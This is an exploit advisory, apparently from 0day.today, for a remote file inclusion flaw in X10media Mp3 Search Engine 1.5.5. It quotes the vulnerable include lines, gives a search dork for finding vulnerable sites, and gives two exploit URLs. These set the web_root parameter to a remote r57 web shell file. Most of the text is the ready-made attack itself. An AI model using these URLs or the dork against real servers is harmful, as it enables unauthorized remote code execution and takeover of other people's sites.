X10media Mp3 Search Engine 1.5.5 Remote File Inclusion Vulnerability

====================================================================
X10media Mp3 Search Engine 1.5.5 Remote File Inclusion Vulnerability
====================================================================


################## THUNDER #########################################################
#
#
#    X10media Mp3 Search Engine v1.5.5 Remote File Inclusion Vulnerability
#
#    Dork: "This search engine is in no way intended for illegal downloads."
#
##### Vuln Code: ###################################################################
#
# file : /includes/function_core.php
#  -88.- include ($web_root."js/Mp3Player.php");
#
#-----------------------------------------------------------------
#
# file : /templates/layout_lyrics.php
#  .5.- include ($web_root."includes/function_list.php");
#
###### Exploit #####################################################################
#
#   http://www.target.com/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt?
#
#   http://www.target.com/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt?           
#         
#
#
#############################################################################



#  0day.today [2018-01-04]  #